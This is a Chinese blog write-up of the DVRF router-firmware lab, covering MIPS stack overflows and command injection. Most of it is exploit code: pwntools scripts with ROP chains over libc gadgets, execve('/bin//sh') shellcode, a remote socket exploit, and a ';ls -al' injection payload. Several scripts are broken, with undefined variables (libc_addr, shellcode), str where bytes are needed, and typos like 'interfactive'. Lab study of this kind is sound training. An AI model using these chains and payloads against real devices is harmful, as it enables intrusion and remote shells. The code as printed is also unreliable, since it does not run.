freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DVRF靶场复现
2022-04-15 12:50:19
所属地 广东省

1. 介绍

近年来随着各种IOT设备漏洞越来越被大众所关注,漏洞利用所带来的危害也日趋严重。本文通过利用DVRF项目来进一步分析设备固件,挖掘固件中存在的安全漏洞。该项目的目的是模拟真实设备环境,帮助人们了解 除x86_64 空间之外的其他 CPU 架构,同时帮助安全爱好者发现路由器固件中的隐藏奥秘。

2. 漏洞分析

2.1 Stack_bof_01

2.1.1 分析

查看是否开启保护(如图1-1 程序保护),未开启任何保护。

1649997751_6258f7b758c5a8b479782.png!small?1649997751701

图1-1 程序保护

分析逆向程序(如图1-2漏洞位置),存在栈溢出漏洞。

1649997763_6258f7c382098e37a0a46.png!small?1649997763987

图1-2 漏洞位置

查看程序是否调用其他程序(如图1-3后门函数),存在调用/bin/sh函数。

1649997776_6258f7d0e2f9958cfd3b3.png!small?1649997777198

图1-3 后门函数

2.1.2 调试

生成随机字符串,确定偏移大小。

$ sudo cp $(which qemu-mipsel-static) .

$ sudo ./qemu-mipsel-static -g 1234 -L . ./pwnable/Intro/stack_bof_01 #输入内容

$ cyclic 500 #生成随机字符串

$ cyclic -l #地址

GDB调试命令。

$ gdb-multiarch stack_bof_01

pwndbg> set arch mipse

pwndbg> set endian little

pwndbg> target remote :1234

pwndbg> continue

确定后门函数地址(如图1-4 后门函数地址)。

1649997794_6258f7e2ab38e731f2c43.png!small?1649997795120

构造Payload=偏移+后门函数地址调试(如图1-5 动态调试),跳转发生错误。

1649997801_6258f7e90a28dc1365189.png!small?1649997801693

图1-5 动态调试

查询MIPS指令集,MIPS跳转方式:

1.设置t9寄存器数值,跳转到t9寄存器;

2.在执行某个函数之前,将要跳转的地址保存在ra寄存器中,执行函数后可跳转。

查询程序调用libc基地址(如图1-6 libc基地址)0x7f6e5000。

1649997818_6258f7fa4367c0fe99491.png!small?1649997818727

图1-6 libc基地址

2.1.3 获取Gadget

根据MIPS跳转方式,需要寻找如下汇编代码段。

lw t9,0($sp)

jarl t9

ROPGadget查找(如图1-7 gadget)。

$ ROPgadet --binary lib/libc.so.0 --only "lw|jalr"

1649997835_6258f80b1cbd5fc82fb64.png!small?1649997835568

图1-7 gadget

gadget偏移=0x6b20

gadget真实地址=0x7f6e5000+0x6b20

如图1-8 真实跳转地址。

1649997848_6258f8180a7209a0f9316.png!small?1649997848476

图1-8 真实跳转地址

2.1.4 漏洞测试

EXP代码

from pwn import *


libc_base = 0x7f6e5000

gadget_addr = libc_base + 0x6b20

offset = 204

dat_shell = 0x400950

payload = b'A' * offset

payload += p32(gadget_addr)

payload += p32(dat_shell)

with open("shellcode","wb")as f:

f.write(payload)

print("shellcode Write Ok!")

测试如图1-9 漏洞复现

1649997869_6258f82de30866e8c0e52.png!small?1649997870332

图1-9 漏洞复现

2.2 Stack_bof_02

2.2.1 分析

查看是否开启保护(如图2-1 程序保护)。

1649997891_6258f84315e7aa42fc38c.png!small?1649997891378

图2-1 程序保护

2.2.2调试

确定偏移大小(如图2-2 随机字符测试)。

1649997902_6258f84e385a0fa5fdaea.png!small?1649997902979

图2-2 随机字符串测试

计算偏移(如图2-3 偏移计算),偏移大小为508。

1649997913_6258f85938e14d8bc4e3d.png!small?1649997913707

图2-3 偏移计算

获取基地址0x7f6e5000(如图2-4 libc基地址)。

1649997925_6258f865559ec770f6459.png!small?1649997925891

图2-4 libc基地址

2.2.2 获取Gadget

注意点:MIPS漏洞利用首先需要sleep(ns)更新codecache,然后才能执行栈上的shellcode。

流程:

1.跳转

2.设置ra寄存器

3.执行sleep函数

寻找sleep函数,执行sleep函数之后,返回$ra寄存器执行shellcode内容。

1.寻找将寄存器$a0赋值为1的gadget(如图2-5 gadget位置)。

1649997938_6258f872cf492561d35f7.png!small?1649997939101

图 2-5 gadget位置

Gadget汇编代码(如图2-6 汇编代码)。

1649997950_6258f87e4312da3c212d8.png!small?1649997950570

图2-6 汇编代码

跳转寄存器为$s1,此时在原来覆盖栈数据时候就要求覆盖$s1寄存器,以达到跳转到下一个gadget。

2.寻找栈上的数据传递给$s1寄存器的gadget。

TIPS:查资料发现在uclibc或者scandir64函数末尾有个gadget可以操控所有寄存器(如图2-7 控制器Gadget)。

1649997964_6258f88ca92bd9c428560.png!small?1649997965112

图2-7 控制器Gadget

布置下一个gadget的$ra。

此时栈内容如下

libc_base_addr = 0x7f6e5000

offset = 508

payload = b'A' * offset #偏移

payload += p32(libc_addr + 0xAFE0)

#所申请栈空间为 0x40+var_4($sp) = 0x3C($sp)

payload += b'A' * 0x3c #栈大小为0x3c

payload += b'B' * 4 # ra

动态调试

第一个gadget跳转(如图2-8 第一个gadget)。

1649997985_6258f8a1245f1769f437d.png!small?1649997985612

图2-8 第一个gadget

$ra数值0x42424242(如图2-9 $ra值)。

1649997995_6258f8ab73b6a599acfc7.png!small?1649997995915

图 2-9 $ra值

函数调用gadget跳转到0x2FB10,调用sleep函数,无法控制$ra寄存器,sleep函数无法返回(如图2-10 sleep无法返回)。

1649998006_6258f8b693df46db4f23b.png!small?1649998007147

图 2-10 sleep无法返回

寻找一个既可以调用sleep函数又可以控制$ra寄存器的gadget(如图2-11 调用sleep的Gadget)。

1649998018_6258f8c27708446b7b2ca.png!small?1649998018768

图2-11 调用sleep的gadget

查找$a0,载入shellcode的gadget(如图2-12 跳转)

1649998027_6258f8cbb0e8b7b7b0402.png!small?1649998028003

图2-12 跳转

2.2.3 漏洞测试

EXP

from pwn import *

context.endian = 'little'

context.arch = 'mips'

libc_base_addr = 0x7f6e5000

sleep_offset = 0x2F2B0

shellcode = b""

shellcode += "\xff\xff\x06\x28"  # slti $a2, $zero, -1

shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962

shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f

shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)

shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873

shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e

shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)

shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)

shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc

shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1

shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab

shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = b'A' * 508

payload += p32(libc_addr + 0xAfe0)   # jr $ra

#---------------stack 1-------------------

payload += b'A' * (0x3c - 4 * 9)

payload += b'A' * 4                               # s0

payload += p32(libc_addr + 0x21C34)              # s1 -> move $t9,$s3

payload += b'A' * 4                               # s2

payload += p32(libc_addr + sleep_offset)         # s3

payload += b'A' * 4                               # s4

payload += b'A' * 4                               # s5

payload += b'A' * 4                               # s6

payload += b'A' * 4                               # s7

payload += b'A' * 4                               # fp

payload += p32(libc_addr + 0x2FB10)              # ra

#---------------stack 2-------------------

payload += b'B' * 0x24

payload += p32(libc_addr + 0x214A0)           # s3

payload += b'B' * 4                               # s4

payload += p32(libc_addr + 0x171CC)               # ra

payload += b'A' * 0x18

payload += shellcode

with open('shellcode','wb') as f:

f.write(payload)

漏洞测试(如图2-13 漏洞测试)。

1649998044_6258f8dc486b8598f844f.png!small?1649998044615

图 2-13 漏洞测试

2.3 Socket_bof

2.3.1 分析

查看是否开启程序保护(如图3-1 程序保护)。

1649998063_6258f8efbc15a832a5873.png!small?1649998063960

图3-1 程序保护

查看漏洞点(如图3-2 漏洞点),Sprint存在栈溢出。

V10 大小为500

V11 大小为50

1649998073_6258f8f92fa5678d9fee3.png!small?1649998073422

图3-2 漏洞点

2.3.2 调试

计算偏移大小(如图3-3 计算偏移),偏移大小为51。

1649998087_6258f9070f043d0f3811a.png!small?1649998087560

图3-3 计算偏移

2.3.3 获取Gadget

构造方法如上所述,不做详细解释。

2.3.4 漏洞测试

EXP

from pwn import *

context.endian = 'little'

context.arch = 'mips'

libc_base_addr = 0x7f6e5000

sleep_offset = 0x2F2B0

system_offset = 0x2bfd0

shellcode += b"\xff\xff\x06\x28"  # slti $a2, $zero, -1

shellcode += b"\x62\x69\x0f\x3c"  # lui $t7, 0x6962

shellcode += b"\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f

shellcode += b"\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)

shellcode += b"\x73\x68\x0e\x3c"  # lui $t6, 0x6873

shellcode += b"\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e

shellcode += b"\xf8\xff\xae\xaf"  # sw $t6, -8($sp)

shellcode += b"\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)

shellcode += b"\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc

shellcode += b"\xff\xff\x05\x28"  # slti $a1, $zero, -1

shellcode += b"\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab

shellcode += b"\x0c\x01\x01\x01"  # syscall 0x40404

payload = b'A' * 51

payload += p32(libc_addr + 0xAfe0)   # jr $ra

#---------------stack 1-------------------

payload += b'A' * (0x3c - 4 * 9)

payload += b'A' * 4                               # s0

payload += p32(libc_addr + 0x21C34)              # s1 -> move $t9,$s3

payload += b'A' * 4                               # s2

payload += p32(libc_addr + sleep_offset)         # s3

payload += b'A' * 4                               # s4

payload += b'A' * 4                               # s5

payload += b'A' * 4                               # s6

payload += b'A' * 4                               # s7

payload += b'A' * 4                               # fp

payload += p32(libc_addr + 0x2FB10)              # ra

#---------------stack 2-------------------

payload += b'B' * 0x24

payload += p32(libc_addr + system_offset)           # s3

payload += b'B' * 4                               # s4

payload += p32(libc_addr + 0x171CC)               # ra

payload += b'A' * 0x18

payload += shellcode #shellcode也可以,不做详细解释

p = remote('127.0.0.1',9999)

p.recvuntil(b'Send Me Bytes:')

p.sendline(payload)

p.interactive()

漏洞测试(如图3-4 漏洞测试)。

1649998105_6258f919105a3e4e2bd91.png!small

图3-4 漏洞测试

2.4 Socket_cmd

2.4.1 分析

检查是否开启程序保护(如图4-1 程序保护)。

1649998132_6258f934424c2c5a912e7.png!small?1649998132504

图4-1 程序保护

查看漏洞点(如图4-2 漏洞点),命令注入漏洞。

1649998142_6258f93e574636af66ac9.png!small?1649998142706

图4-2 漏洞点

2.4.2  漏洞测试

EXP

from pwn import *

p = remote('127.0.0.1',9999)

payload=b'123;ls -al'

p.sendline(payload)

p.interfactive()

漏洞测试结果(如图4-3 漏洞测试)。

1649998159_6258f94f39b06de209bc8.png!small?1649998159778

图4-3 漏洞测试

三.  总结

通过DVRF模拟靶场,深入熟悉了解MIPS架构下shellcode的利用及ROP攻击的原理。

# DVRF # 靶场复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录